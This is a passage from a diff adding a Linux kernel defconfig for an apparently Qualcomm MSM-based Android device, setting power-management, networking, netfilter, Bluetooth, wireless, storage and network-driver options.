+CONFIG_BINFMT_SCRIPT=y +# CONFIG_HAVE_AOUT is not set +# CONFIG_BINFMT_MISC is not set +CONFIG_COREDUMP=y + +# +# Power management options +# +CONFIG_SUSPEND=y +CONFIG_SUSPEND_FREEZER=y +CONFIG_HAS_WAKELOCK=y +CONFIG_WAKELOCK=y +CONFIG_PM_SLEEP=y +CONFIG_PM_SLEEP_SMP=y +CONFIG_PM_AUTOSLEEP=y +CONFIG_PM_WAKELOCKS=y +CONFIG_PM_WAKELOCKS_LIMIT=0 +# CONFIG_PM_WAKELOCKS_GC is not set +CONFIG_PM_RUNTIME=y +CONFIG_PM=y +# CONFIG_PM_DEBUG is not set +# CONFIG_APM_EMULATION is not set +CONFIG_ARCH_HAS_OPP=y +CONFIG_PM_CLK=y +CONFIG_CPU_PM=y +# CONFIG_SUSPEND_TIME is not set +CONFIG_ARCH_SUSPEND_POSSIBLE=y +CONFIG_ARM_CPU_SUSPEND=y +CONFIG_NET=y + +# +# Networking options +# +CONFIG_PACKET=y +# CONFIG_PACKET_DIAG is not set +CONFIG_UNIX=y +# CONFIG_UNIX_DIAG is not set +CONFIG_XFRM=y +CONFIG_XFRM_ALGO=y +CONFIG_XFRM_USER=y +# CONFIG_XFRM_SUB_POLICY is not set +# CONFIG_XFRM_MIGRATE is not set +# CONFIG_XFRM_STATISTICS is not set +CONFIG_XFRM_IPCOMP=y +CONFIG_NET_KEY=y +# CONFIG_NET_KEY_MIGRATE is not set +CONFIG_INET=y +# CONFIG_IP_MULTICAST is not set +CONFIG_IP_ADVANCED_ROUTER=y +# CONFIG_IP_FIB_TRIE_STATS is not set +CONFIG_IP_MULTIPLE_TABLES=y +# CONFIG_IP_ROUTE_MULTIPATH is not set +CONFIG_IP_ROUTE_VERBOSE=y +CONFIG_IP_PNP=y +CONFIG_IP_PNP_DHCP=y +# CONFIG_IP_PNP_BOOTP is not set +# CONFIG_IP_PNP_RARP is not set +# CONFIG_NET_IPIP is not set +# CONFIG_NET_IPGRE_DEMUX is not set +CONFIG_NET_IP_TUNNEL=y +# CONFIG_ARPD is not set +# CONFIG_SYN_COOKIES is not set +# CONFIG_NET_IPVTI is not set +CONFIG_INET_AH=y +CONFIG_INET_ESP=y +# CONFIG_INET_IPCOMP is not set +# CONFIG_INET_XFRM_TUNNEL is not set +CONFIG_INET_TUNNEL=y +CONFIG_INET_XFRM_MODE_TRANSPORT=y +CONFIG_INET_XFRM_MODE_TUNNEL=y +# CONFIG_INET_XFRM_MODE_BEET is not set +# CONFIG_INET_LRO is not set +CONFIG_INET_DIAG=y +CONFIG_INET_TCP_DIAG=y +# CONFIG_INET_UDP_DIAG is not set +# CONFIG_INET_DIAG_DESTROY is not set +# CONFIG_TCP_CONG_ADVANCED is not set +CONFIG_TCP_CONG_CUBIC=y +CONFIG_DEFAULT_TCP_CONG="cubic" +# CONFIG_TCP_MD5SIG is not set +CONFIG_IPV6=y +CONFIG_IPV6_PRIVACY=y +CONFIG_IPV6_ROUTER_PREF=y +CONFIG_IPV6_ROUTE_INFO=y +CONFIG_IPV6_OPTIMISTIC_DAD=y +CONFIG_INET6_AH=y +CONFIG_INET6_ESP=y +CONFIG_INET6_IPCOMP=y +CONFIG_IPV6_MIP6=y +CONFIG_INET6_XFRM_TUNNEL=y +CONFIG_INET6_TUNNEL=y +CONFIG_INET6_XFRM_MODE_TRANSPORT=y +CONFIG_INET6_XFRM_MODE_TUNNEL=y +CONFIG_INET6_XFRM_MODE_BEET=y +# CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION is not set +CONFIG_IPV6_SIT=y +# CONFIG_IPV6_SIT_6RD is not set +CONFIG_IPV6_NDISC_NODETYPE=y +# CONFIG_IPV6_TUNNEL is not set +# CONFIG_IPV6_GRE is not set +CONFIG_IPV6_MULTIPLE_TABLES=y +CONFIG_IPV6_SUBTREES=y +# CONFIG_IPV6_MROUTE is not set +# CONFIG_NETLABEL is not set +CONFIG_ANDROID_PARANOID_NETWORK=y +CONFIG_NET_ACTIVITY_STATS=y +CONFIG_NETWORK_SECMARK=y +# CONFIG_NETWORK_PHY_TIMESTAMPING is not set +CONFIG_NETFILTER=y +# CONFIG_NETFILTER_DEBUG is not set +CONFIG_NETFILTER_ADVANCED=y +CONFIG_BRIDGE_NETFILTER=y + +# +# Core Netfilter Configuration +# +CONFIG_NETFILTER_NETLINK=y +# CONFIG_NETFILTER_NETLINK_ACCT is not set +CONFIG_NETFILTER_NETLINK_QUEUE=y +CONFIG_NETFILTER_NETLINK_LOG=y +CONFIG_NF_CONNTRACK=y +CONFIG_NF_CONNTRACK_MARK=y +CONFIG_NF_CONNTRACK_SECMARK=y +# CONFIG_NF_CONNTRACK_ZONES is not set +CONFIG_NF_CONNTRACK_PROCFS=y +CONFIG_NF_CONNTRACK_EVENTS=y +# CONFIG_NF_CONNTRACK_TIMEOUT is not set +# CONFIG_NF_CONNTRACK_TIMESTAMP is not set +CONFIG_NF_CT_PROTO_DCCP=y +CONFIG_NF_CT_PROTO_GRE=y +CONFIG_NF_CT_PROTO_SCTP=y +CONFIG_NF_CT_PROTO_UDPLITE=y +CONFIG_NF_CONNTRACK_AMANDA=y +CONFIG_NF_CONNTRACK_FTP=y +CONFIG_NF_CONNTRACK_H323=y +CONFIG_NF_CONNTRACK_IRC=y +CONFIG_NF_CONNTRACK_BROADCAST=y +CONFIG_NF_CONNTRACK_NETBIOS_NS=y +# CONFIG_NF_CONNTRACK_SNMP is not set +CONFIG_NF_CONNTRACK_PPTP=y +CONFIG_NF_CONNTRACK_SANE=y +CONFIG_NF_CONNTRACK_SIP=y +CONFIG_NF_CONNTRACK_TFTP=y +CONFIG_NF_CT_NETLINK=y +# CONFIG_NF_CT_NETLINK_TIMEOUT is not set +# CONFIG_NETFILTER_NETLINK_QUEUE_CT is not set +CONFIG_NF_NAT=y +CONFIG_NF_NAT_NEEDED=y +CONFIG_NF_NAT_PROTO_DCCP=y +CONFIG_NF_NAT_PROTO_UDPLITE=y +CONFIG_NF_NAT_PROTO_SCTP=y +CONFIG_NF_NAT_AMANDA=y +CONFIG_NF_NAT_FTP=y +CONFIG_NF_NAT_IRC=y +CONFIG_NF_NAT_SIP=y +CONFIG_NF_NAT_TFTP=y +CONFIG_NETFILTER_TPROXY=y +CONFIG_NETFILTER_XTABLES=y + +# +# Xtables combined modules +# +CONFIG_NETFILTER_XT_MARK=y +CONFIG_NETFILTER_XT_CONNMARK=y + +# +# Xtables targets +# +# CONFIG_NETFILTER_XT_TARGET_AUDIT is not set +# CONFIG_NETFILTER_XT_TARGET_CHECKSUM is not set +CONFIG_NETFILTER_XT_TARGET_CLASSIFY=y +CONFIG_NETFILTER_XT_TARGET_CONNMARK=y +CONFIG_NETFILTER_XT_TARGET_CONNSECMARK=y +CONFIG_NETFILTER_XT_TARGET_CT=y +# CONFIG_NETFILTER_XT_TARGET_DSCP is not set +# CONFIG_NETFILTER_XT_TARGET_HL is not set +# CONFIG_NETFILTER_XT_TARGET_HMARK is not set +CONFIG_NETFILTER_XT_TARGET_IDLETIMER=y +CONFIG_NETFILTER_XT_TARGET_HARDIDLETIMER=y +# CONFIG_NETFILTER_XT_TARGET_LED is not set +CONFIG_NETFILTER_XT_TARGET_LOG=y +CONFIG_NETFILTER_XT_TARGET_MARK=y +CONFIG_NETFILTER_XT_TARGET_NETMAP=y +CONFIG_NETFILTER_XT_TARGET_NFLOG=y +CONFIG_NETFILTER_XT_TARGET_NFQUEUE=y +CONFIG_NETFILTER_XT_TARGET_NOTRACK=y +# CONFIG_NETFILTER_XT_TARGET_RATEEST is not set +CONFIG_NETFILTER_XT_TARGET_REDIRECT=y +CONFIG_NETFILTER_XT_TARGET_TEE=y +CONFIG_NETFILTER_XT_TARGET_TPROXY=y +CONFIG_NETFILTER_XT_TARGET_TRACE=y +CONFIG_NETFILTER_XT_TARGET_SECMARK=y +# CONFIG_NETFILTER_XT_TARGET_TCPMSS is not set +# CONFIG_NETFILTER_XT_TARGET_TCPOPTSTRIP is not set + +# +# Xtables matches +# +# CONFIG_NETFILTER_XT_MATCH_ADDRTYPE is not set +# CONFIG_NETFILTER_XT_MATCH_BPF is not set +# CONFIG_NETFILTER_XT_MATCH_CLUSTER is not set +CONFIG_NETFILTER_XT_MATCH_COMMENT=y +# CONFIG_NETFILTER_XT_MATCH_CONNBYTES is not set +# CONFIG_NETFILTER_XT_MATCH_CONNLABEL is not set +CONFIG_NETFILTER_XT_MATCH_CONNLIMIT=y +CONFIG_NETFILTER_XT_MATCH_CONNMARK=y +CONFIG_NETFILTER_XT_MATCH_CONNTRACK=y +# CONFIG_NETFILTER_XT_MATCH_CPU is not set +# CONFIG_NETFILTER_XT_MATCH_DCCP is not set +# CONFIG_NETFILTER_XT_MATCH_DEVGROUP is not set +CONFIG_NETFILTER_XT_MATCH_DSCP=y +CONFIG_NETFILTER_XT_MATCH_ECN=y +CONFIG_NETFILTER_XT_MATCH_ESP=y +CONFIG_NETFILTER_XT_MATCH_HASHLIMIT=y +CONFIG_NETFILTER_XT_MATCH_HELPER=y +CONFIG_NETFILTER_XT_MATCH_HL=y +CONFIG_NETFILTER_XT_MATCH_IPRANGE=y +CONFIG_NETFILTER_XT_MATCH_LENGTH=y +CONFIG_NETFILTER_XT_MATCH_LIMIT=y +CONFIG_NETFILTER_XT_MATCH_MAC=y +CONFIG_NETFILTER_XT_MATCH_MARK=y +CONFIG_NETFILTER_XT_MATCH_MULTIPORT=y +# CONFIG_NETFILTER_XT_MATCH_NFACCT is not set +# CONFIG_NETFILTER_XT_MATCH_OSF is not set +# CONFIG_NETFILTER_XT_MATCH_OWNER is not set +CONFIG_NETFILTER_XT_MATCH_POLICY=y +# CONFIG_NETFILTER_XT_MATCH_PHYSDEV is not set +CONFIG_NETFILTER_XT_MATCH_PKTTYPE=y +CONFIG_NETFILTER_XT_MATCH_QTAGUID=y +CONFIG_NETFILTER_XT_MATCH_QUOTA=y +CONFIG_NETFILTER_XT_MATCH_QUOTA2=y +CONFIG_NETFILTER_XT_MATCH_QUOTA2_LOG=y +# CONFIG_NETFILTER_XT_MATCH_RATEEST is not set +# CONFIG_NETFILTER_XT_MATCH_REALM is not set +# CONFIG_NETFILTER_XT_MATCH_RECENT is not set +# CONFIG_NETFILTER_XT_MATCH_SCTP is not set +CONFIG_NETFILTER_XT_MATCH_SOCKET=y +CONFIG_NETFILTER_XT_MATCH_STATE=y +CONFIG_NETFILTER_XT_MATCH_STATISTIC=y +CONFIG_NETFILTER_XT_MATCH_STRING=y +# CONFIG_NETFILTER_XT_MATCH_TCPMSS is not set +CONFIG_NETFILTER_XT_MATCH_TIME=y +CONFIG_NETFILTER_XT_MATCH_U32=y +# CONFIG_IP_SET is not set +# CONFIG_IP_VS is not set + +# +# IP: Netfilter Configuration +# +CONFIG_NF_DEFRAG_IPV4=y +CONFIG_NF_CONNTRACK_IPV4=y +CONFIG_NF_CONNTRACK_PROC_COMPAT=y +CONFIG_IP_NF_IPTABLES=y +CONFIG_IP_NF_MATCH_AH=y +CONFIG_IP_NF_MATCH_ECN=y +# CONFIG_IP_NF_MATCH_RPFILTER is not set +CONFIG_IP_NF_MATCH_TTL=y +CONFIG_IP_NF_FILTER=y +CONFIG_IP_NF_TARGET_REJECT=y +# CONFIG_IP_NF_TARGET_REJECT_SKERR is not set +# CONFIG_IP_NF_TARGET_ULOG is not set +CONFIG_NF_NAT_IPV4=y +CONFIG_IP_NF_TARGET_MASQUERADE=y +# CONFIG_IP_NF_TARGET_NATTYPE_MODULE is not set +CONFIG_IP_NF_TARGET_NETMAP=y +CONFIG_IP_NF_TARGET_REDIRECT=y +CONFIG_NF_NAT_PROTO_GRE=y +CONFIG_NF_NAT_PPTP=y +CONFIG_NF_NAT_H323=y +CONFIG_IP_NF_MANGLE=y +# CONFIG_IP_NF_TARGET_CLUSTERIP is not set +# CONFIG_IP_NF_TARGET_ECN is not set +# CONFIG_IP_NF_TARGET_TTL is not set +CONFIG_IP_NF_RAW=y +CONFIG_IP_NF_SECURITY=y +CONFIG_IP_NF_ARPTABLES=y +CONFIG_IP_NF_ARPFILTER=y +CONFIG_IP_NF_ARP_MANGLE=y + +# +# IPv6: Netfilter Configuration +# +CONFIG_NF_DEFRAG_IPV6=y +CONFIG_NF_CONNTRACK_IPV6=y +CONFIG_IP6_NF_IPTABLES=y +# CONFIG_IP6_NF_MATCH_AH is not set +# CONFIG_IP6_NF_MATCH_EUI64 is not set +# CONFIG_IP6_NF_MATCH_FRAG is not set +# CONFIG_IP6_NF_MATCH_OPTS is not set +# CONFIG_IP6_NF_MATCH_HL is not set +# CONFIG_IP6_NF_MATCH_IPV6HEADER is not set +# CONFIG_IP6_NF_MATCH_MH is not set +# CONFIG_IP6_NF_MATCH_RPFILTER is not set +# CONFIG_IP6_NF_MATCH_RT is not set +# CONFIG_IP6_NF_TARGET_HL is not set +CONFIG_IP6_NF_FILTER=y +CONFIG_IP6_NF_TARGET_REJECT=y +# CONFIG_IP6_NF_TARGET_REJECT_SKERR is not set +CONFIG_IP6_NF_MANGLE=y +CONFIG_IP6_NF_RAW=y +# CONFIG_IP6_NF_SECURITY is not set +# CONFIG_NF_NAT_IPV6 is not set +CONFIG_BRIDGE_NF_EBTABLES=y +CONFIG_BRIDGE_EBT_BROUTE=y +# CONFIG_BRIDGE_EBT_T_FILTER is not set +# CONFIG_BRIDGE_EBT_T_NAT is not set +# CONFIG_BRIDGE_EBT_802_3 is not set +# CONFIG_BRIDGE_EBT_AMONG is not set +# CONFIG_BRIDGE_EBT_ARP is not set +# CONFIG_BRIDGE_EBT_IP is not set +# CONFIG_BRIDGE_EBT_IP6 is not set +# CONFIG_BRIDGE_EBT_LIMIT is not set +# CONFIG_BRIDGE_EBT_MARK is not set +# CONFIG_BRIDGE_EBT_PKTTYPE is not set +# CONFIG_BRIDGE_EBT_STP is not set +# CONFIG_BRIDGE_EBT_VLAN is not set +# CONFIG_BRIDGE_EBT_ARPREPLY is not set +# CONFIG_BRIDGE_EBT_DNAT is not set +# CONFIG_BRIDGE_EBT_MARK_T is not set +# CONFIG_BRIDGE_EBT_REDIRECT is not set +# CONFIG_BRIDGE_EBT_SNAT is not set +# CONFIG_BRIDGE_EBT_LOG is not set +# CONFIG_BRIDGE_EBT_ULOG is not set +# CONFIG_BRIDGE_EBT_NFLOG is not set +# CONFIG_IP_DCCP is not set +# CONFIG_IP_SCTP is not set +# CONFIG_RDS is not set +# CONFIG_TIPC is not set +# CONFIG_ATM is not set +CONFIG_L2TP=y +CONFIG_L2TP_DEBUGFS=y +CONFIG_L2TP_V3=y +CONFIG_L2TP_IP=y +CONFIG_L2TP_ETH=y +CONFIG_STP=y +CONFIG_BRIDGE=y +CONFIG_BRIDGE_IGMP_SNOOPING=y +CONFIG_HAVE_NET_DSA=y +# CONFIG_VLAN_8021Q is not set +# CONFIG_DECNET is not set +CONFIG_LLC=y +# CONFIG_LLC2 is not set +# CONFIG_IPX is not set +# CONFIG_ATALK is not set +# CONFIG_X25 is not set +# CONFIG_LAPB is not set +# CONFIG_PHONET is not set +# CONFIG_IEEE802154 is not set +CONFIG_NET_SCHED=y + +# +# Queueing/Scheduling +# +# CONFIG_NET_SCH_CBQ is not set +CONFIG_NET_SCH_HTB=y +# CONFIG_NET_SCH_HFSC is not set +CONFIG_NET_SCH_PRIO=y +# CONFIG_NET_SCH_MULTIQ is not set +# CONFIG_NET_SCH_RED is not set +# CONFIG_NET_SCH_SFB is not set +# CONFIG_NET_SCH_SFQ is not set +# CONFIG_NET_SCH_TEQL is not set +# CONFIG_NET_SCH_TBF is not set +# CONFIG_NET_SCH_GRED is not set +# CONFIG_NET_SCH_DSMARK is not set +# CONFIG_NET_SCH_NETEM is not set +# CONFIG_NET_SCH_DRR is not set +# CONFIG_NET_SCH_MQPRIO is not set +# CONFIG_NET_SCH_CHOKE is not set +# CONFIG_NET_SCH_QFQ is not set +# CONFIG_NET_SCH_CODEL is not set +# CONFIG_NET_SCH_FQ_CODEL is not set +# CONFIG_NET_SCH_INGRESS is not set +# CONFIG_NET_SCH_PLUG is not set + +# +# Classification +# +CONFIG_NET_CLS=y +# CONFIG_NET_CLS_BASIC is not set +# CONFIG_NET_CLS_TCINDEX is not set +# CONFIG_NET_CLS_ROUTE4 is not set +CONFIG_NET_CLS_FW=y +CONFIG_NET_CLS_U32=y +# CONFIG_CLS_U32_PERF is not set +CONFIG_CLS_U32_MARK=y +# CONFIG_NET_CLS_RSVP is not set +# CONFIG_NET_CLS_RSVP6 is not set +CONFIG_NET_CLS_FLOW=y +# CONFIG_NET_CLS_CGROUP is not set +CONFIG_NET_EMATCH=y +CONFIG_NET_EMATCH_STACK=32 +CONFIG_NET_EMATCH_CMP=y +CONFIG_NET_EMATCH_NBYTE=y +CONFIG_NET_EMATCH_U32=y +CONFIG_NET_EMATCH_META=y +CONFIG_NET_EMATCH_TEXT=y +CONFIG_NET_CLS_ACT=y +# CONFIG_NET_ACT_POLICE is not set +# CONFIG_NET_ACT_GACT is not set +# CONFIG_NET_ACT_MIRRED is not set +# CONFIG_NET_ACT_IPT is not set +# CONFIG_NET_ACT_NAT is not set +# CONFIG_NET_ACT_PEDIT is not set +# CONFIG_NET_ACT_SIMP is not set +# CONFIG_NET_ACT_SKBEDIT is not set +# CONFIG_NET_ACT_CSUM is not set +# CONFIG_NET_CLS_IND is not set +CONFIG_NET_SCH_FIFO=y +# CONFIG_DCB is not set +# CONFIG_DNS_RESOLVER is not set +# CONFIG_BATMAN_ADV is not set +# CONFIG_OPENVSWITCH is not set +# CONFIG_VSOCKETS is not set +# CONFIG_NETLINK_MMAP is not set +# CONFIG_NETLINK_DIAG is not set +CONFIG_RMNET_DATA=y +CONFIG_RMNET_DATA_FC=y +CONFIG_RMNET_DATA_DEBUG_PKT=y +CONFIG_RPS=y +CONFIG_RFS_ACCEL=y +CONFIG_XPS=y +# CONFIG_NETPRIO_CGROUP is not set +CONFIG_BQL=y +CONFIG_SOCKEV_NLMCAST=y + +# +# Network testing +# +# CONFIG_NET_PKTGEN is not set +# CONFIG_NET_DROP_MONITOR is not set +# CONFIG_HAMRADIO is not set +# CONFIG_CAN is not set +# CONFIG_IRDA is not set +CONFIG_BT=y +CONFIG_BT_RFCOMM=y +CONFIG_BT_RFCOMM_TTY=y +CONFIG_BT_BNEP=y +CONFIG_BT_BNEP_MC_FILTER=y +CONFIG_BT_BNEP_PROTO_FILTER=y +CONFIG_BT_HIDP=y + +# +# Bluetooth device drivers +# +# CONFIG_BT_HCISMD is not set +# CONFIG_BT_HCIBTUSB is not set +# CONFIG_BT_HCIBTSDIO is not set +# CONFIG_BT_HCIUART is not set +# CONFIG_BT_HCIBCM203X is not set +# CONFIG_BT_HCIBPA10X is not set +# CONFIG_BT_HCIBFUSB is not set +# CONFIG_BT_HCIVHCI is not set +# CONFIG_BT_MRVL is not set +# CONFIG_AF_RXRPC is not set +CONFIG_FIB_RULES=y +CONFIG_WIRELESS=y +CONFIG_WIRELESS_EXT=y +CONFIG_WEXT_CORE=y +CONFIG_WEXT_PROC=y +CONFIG_WEXT_SPY=y +CONFIG_WEXT_PRIV=y +CONFIG_CFG80211=y +CONFIG_NL80211_TESTMODE=y +# CONFIG_CFG80211_DEVELOPER_WARNINGS is not set +# CONFIG_CFG80211_REG_DEBUG is not set +# CONFIG_CFG80211_CERTIFICATION_ONUS is not set +CONFIG_CFG80211_DEFAULT_PS=y +# CONFIG_CFG80211_DEBUGFS is not set +CONFIG_CFG80211_INTERNAL_REGDB=y +# CONFIG_CFG80211_WEXT is not set +# CONFIG_LIB80211 is not set +# CONFIG_CFG80211_ALLOW_RECONNECT is not set +# CONFIG_MAC80211 is not set +# CONFIG_WIMAX is not set +# CONFIG_RFKILL is not set +# CONFIG_RFKILL_REGULATOR is not set +# CONFIG_NET_9P is not set +# CONFIG_CAIF is not set +# CONFIG_CEPH_LIB is not set +# CONFIG_NFC is not set +# CONFIG_NFC_QNCI is not set +# CONFIG_NFC_NQ is not set +CONFIG_IPC_ROUTER=y +CONFIG_IPC_ROUTER_SECURITY=y +CONFIG_HAVE_BPF_JIT=y + +# +# Device Drivers +# + +# +# Generic Driver Options +# +CONFIG_UEVENT_HELPER_PATH="" +# CONFIG_DEVTMPFS is not set +CONFIG_STANDALONE=y +CONFIG_PREVENT_FIRMWARE_BUILD=y +CONFIG_FW_LOADER=y +CONFIG_FIRMWARE_IN_KERNEL=y +CONFIG_EXTRA_FIRMWARE="" +CONFIG_FW_LOADER_USER_HELPER=y +# CONFIG_DEBUG_DRIVER is not set +# CONFIG_DEBUG_DEVRES is not set +# CONFIG_SYS_HYPERVISOR is not set +# CONFIG_GENERIC_CPU_DEVICES is not set +# CONFIG_HAVE_CPU_AUTOPROBE is not set +CONFIG_SOC_BUS=y +CONFIG_REGMAP=y +CONFIG_REGMAP_I2C=y +CONFIG_REGMAP_SPI=y +CONFIG_REGMAP_SWR=y +CONFIG_REGMAP_ALLOW_WRITE_DEBUGFS=y +CONFIG_DMA_SHARED_BUFFER=y +CONFIG_CMA=y +# CONFIG_CMA_DEBUG is not set + +# +# Default contiguous memory area size: +# +CONFIG_CMA_SIZE_MBYTES=8 +CONFIG_CMA_SIZE_SEL_MBYTES=y +# CONFIG_CMA_SIZE_SEL_PERCENTAGE is not set +# CONFIG_CMA_SIZE_SEL_MIN is not set +# CONFIG_CMA_SIZE_SEL_MAX is not set +CONFIG_CMA_ALIGNMENT=8 +CONFIG_CMA_AREAS=15 +# CONFIG_CMA_RESERVE_DEFAULT_AREA is not set + +# +# Bus devices +# +# CONFIG_CONNECTOR is not set +# CONFIG_MTD is not set +CONFIG_DTC=y +CONFIG_OF=y + +# +# Device Tree and Open Firmware support +# +# CONFIG_PROC_DEVICETREE is not set +# CONFIG_OF_SELFTEST is not set +CONFIG_OF_FLATTREE=y +CONFIG_OF_EARLY_FLATTREE=y +CONFIG_OF_ADDRESS=y +CONFIG_OF_IRQ=y +CONFIG_OF_DEVICE=y +CONFIG_OF_I2C=y +CONFIG_OF_NET=y +CONFIG_OF_MDIO=y +CONFIG_OF_SPMI=y +CONFIG_OF_SLIMBUS=y +CONFIG_OF_BATTERYDATA=y +CONFIG_OF_RESERVED_MEM=y +# CONFIG_PARPORT is not set +CONFIG_BLK_DEV=y +CONFIG_ZRAM=y +CONFIG_ZRAM_LZ4_COMPRESS=y +# CONFIG_ZRAM_DEBUG is not set +# CONFIG_BLK_DEV_COW_COMMON is not set +CONFIG_BLK_DEV_LOOP=y +CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 +# CONFIG_BLK_DEV_CRYPTOLOOP is not set +# CONFIG_BLK_DEV_DRBD is not set +# CONFIG_BLK_DEV_NBD is not set +CONFIG_BLK_DEV_RAM=y +CONFIG_BLK_DEV_RAM_COUNT=16 +CONFIG_BLK_DEV_RAM_SIZE=4096 +# CONFIG_BLK_DEV_XIP is not set +# CONFIG_CDROM_PKTCDVD is not set +# CONFIG_ATA_OVER_ETH is not set +# CONFIG_MG_DISK is not set +# CONFIG_BLK_DEV_RBD is not set + +# +# Misc devices +# +# CONFIG_SENSORS_LIS3LV02D is not set +# CONFIG_AD525X_DPOT is not set +# CONFIG_ATMEL_PWM is not set +# CONFIG_DUMMY_IRQ is not set +# CONFIG_ICS932S401 is not set +# CONFIG_ATMEL_SSC is not set +# CONFIG_ENCLOSURE_SERVICES is not set +# CONFIG_APDS9802ALS is not set +# CONFIG_APDS9930 is not set +# CONFIG_ISL29003 is not set +# CONFIG_ISL29020 is not set +# CONFIG_SENSORS_TSL2550 is not set +# CONFIG_SENSORS_BH1780 is not set +# CONFIG_SENSORS_BH1770 is not set +# CONFIG_SENSORS_APDS990X is not set +# CONFIG_HMC6352 is not set +# CONFIG_DS1682 is not set +# CONFIG_TI_DAC7512 is not set +# CONFIG_UID_STAT is not set +# CONFIG_BMP085_I2C is not set +# CONFIG_BMP085_SPI is not set +# CONFIG_USB_SWITCH_FSA9480 is not set +# CONFIG_LATTICE_ECP3_CONFIG is not set +# CONFIG_SRAM is not set +# CONFIG_HAPTIC_ISA1200 is not set +CONFIG_QSEECOM=y +# CONFIG_QFP_FUSE is not set +# CONFIG_QPNP_MISC is not set +# CONFIG_TI_DRV2667 is not set +# CONFIG_QCOM_LIQUID_DOCK is not set +CONFIG_UID_CPUTIME=y +# CONFIG_C2PORT is not set + +# +# EEPROM support +# +# CONFIG_EEPROM_AT24 is not set +# CONFIG_EEPROM_AT25 is not set +# CONFIG_EEPROM_LEGACY is not set +# CONFIG_EEPROM_MAX6875 is not set +CONFIG_EEPROM_93CX6=y +# CONFIG_EEPROM_93XX46 is not set + +# +# Texas Instruments shared transport line discipline +# +# CONFIG_TI_ST is not set +# CONFIG_SENSORS_LIS3_SPI is not set +# CONFIG_SENSORS_LIS3_I2C is not set + +# +# Altera FPGA firmware download module +# +# CONFIG_ALTERA_STAPL is not set +CONFIG_MSM_QDSP6V2_CODECS=y + +# +# SCSI device support +# +CONFIG_SCSI_MOD=y +# CONFIG_RAID_ATTRS is not set +CONFIG_SCSI=y +CONFIG_SCSI_DMA=y +CONFIG_SCSI_TGT=y +# CONFIG_SCSI_NETLINK is not set +CONFIG_SCSI_PROC_FS=y + +# +# SCSI support type (disk, tape, CD-ROM) +# +CONFIG_BLK_DEV_SD=y +# CONFIG_CHR_DEV_ST is not set +# CONFIG_CHR_DEV_OSST is not set +# CONFIG_BLK_DEV_SR is not set +CONFIG_CHR_DEV_SG=y +CONFIG_CHR_DEV_SCH=y +CONFIG_SCSI_MULTI_LUN=y +CONFIG_SCSI_CONSTANTS=y +CONFIG_SCSI_LOGGING=y +CONFIG_SCSI_SCAN_ASYNC=y + +# +# SCSI Transports +# +# CONFIG_SCSI_SPI_ATTRS is not set +# CONFIG_SCSI_FC_ATTRS is not set +# CONFIG_SCSI_ISCSI_ATTRS is not set +# CONFIG_SCSI_SAS_ATTRS is not set +# CONFIG_SCSI_SAS_LIBSAS is not set +# CONFIG_SCSI_SRP_ATTRS is not set +CONFIG_SCSI_LOWLEVEL=y +# CONFIG_ISCSI_TCP is not set +# CONFIG_ISCSI_BOOT_SYSFS is not set +# CONFIG_SCSI_UFSHCD is not set +# CONFIG_LIBFC is not set +# CONFIG_LIBFCOE is not set +# CONFIG_SCSI_DEBUG is not set +# CONFIG_SCSI_DH is not set +# CONFIG_SCSI_OSD_INITIATOR is not set +# CONFIG_ATA is not set +CONFIG_MD=y +# CONFIG_BLK_DEV_MD is not set +# CONFIG_BCACHE is not set +CONFIG_BLK_DEV_DM_BUILTIN=y +CONFIG_BLK_DEV_DM=y +# CONFIG_DM_DEBUG is not set +CONFIG_DM_BUFIO=y +CONFIG_DM_CRYPT=y +CONFIG_DM_REQ_CRYPT=y +# CONFIG_DM_SNAPSHOT is not set +# CONFIG_DM_THIN_PROVISIONING is not set +# CONFIG_DM_CACHE is not set +# CONFIG_DM_MIRROR is not set +# CONFIG_DM_RAID is not set +# CONFIG_DM_ZERO is not set +# CONFIG_DM_MULTIPATH is not set +# CONFIG_DM_DELAY is not set +# CONFIG_DM_UEVENT is not set +# CONFIG_DM_FLAKEY is not set +CONFIG_DM_VERITY=y +# CONFIG_TARGET_CORE is not set +CONFIG_NETDEVICES=y +CONFIG_NET_CORE=y +# CONFIG_BONDING is not set +CONFIG_DUMMY=y +# CONFIG_EQUALIZER is not set +CONFIG_MII=y +# CONFIG_IFB is not set +# CONFIG_NET_TEAM is not set +# CONFIG_MACVLAN is not set +# CONFIG_VXLAN is not set +# CONFIG_NETCONSOLE is not set +# CONFIG_NETPOLL is not set +# CONFIG_NET_POLL_CONTROLLER is not set +CONFIG_TUN=y +# CONFIG_VETH is not set + +# +# CAIF transport drivers +# + +# +# Distributed Switch Architecture drivers +# +# CONFIG_NET_DSA_MV88E6XXX is not set +# CONFIG_NET_DSA_MV88E6060 is not set +# CONFIG_NET_DSA_MV88E6XXX_NEED_PPU is not set +# CONFIG_NET_DSA_MV88E6131 is not set +# CONFIG_NET_DSA_MV88E6123_61_65 is not set +CONFIG_ETHERNET=y +# CONFIG_NET_CADENCE is not set +# CONFIG_NET_VENDOR_BROADCOM is not set +# CONFIG_NET_CALXEDA_XGMAC is not set +# CONFIG_NET_VENDOR_CIRRUS is not set +# CONFIG_DM9000 is not set +# CONFIG_DNET is not set +# CONFIG_NET_VENDOR_FARADAY is not set +# CONFIG_NET_VENDOR_INTEL is not set +# CONFIG_NET_VENDOR_MARVELL is not set +# CONFIG_NET_VENDOR_MICREL is not set +# CONFIG_NET_VENDOR_MICROCHIP is not set +# CONFIG_NET_VENDOR_MSM is not set +CONFIG_MSM_RMNET_BAM=y +# CONFIG_NET_VENDOR_NATSEMI is not set +# CONFIG_ETHOC is not set +# CONFIG_NET_VENDOR_SEEQ is not set +# CONFIG_NET_VENDOR_SMSC is not set +# CONFIG_NET_VENDOR_STMICRO is not set +# CONFIG_NET_VENDOR_WIZNET is not set +CONFIG_PHYLIB=y + +# +# MII PHY device drivers +# +# CONFIG_AT803X_PHY is not set +# CONFIG_AMD_PHY is not set +# CONFIG_MARVELL_PHY is not set +# CONFIG_DAVICOM_PHY is not set +# CONFIG_QSEMI_PHY is not set +# CONFIG_LXT_PHY is not set +# CONFIG_CICADA_PHY is not set +# CONFIG_VITESSE_PHY is not set +# CONFIG_SMSC_PHY is not set +# CONFIG_BROADCOM_PHY is not set +# CONFIG_BCM87XX_PHY is not set +# CONFIG_ICPLUS_PHY is not set +# CONFIG_REALTEK_PHY is not set +# CONFIG_NATIONAL_PHY is not set +# CONFIG_STE10XP is not set +# CONFIG_LSI_ET1011C_PHY is not set +# CONFIG_MICREL_PHY is not set +# CONFIG_FIXED_PHY is not set +# 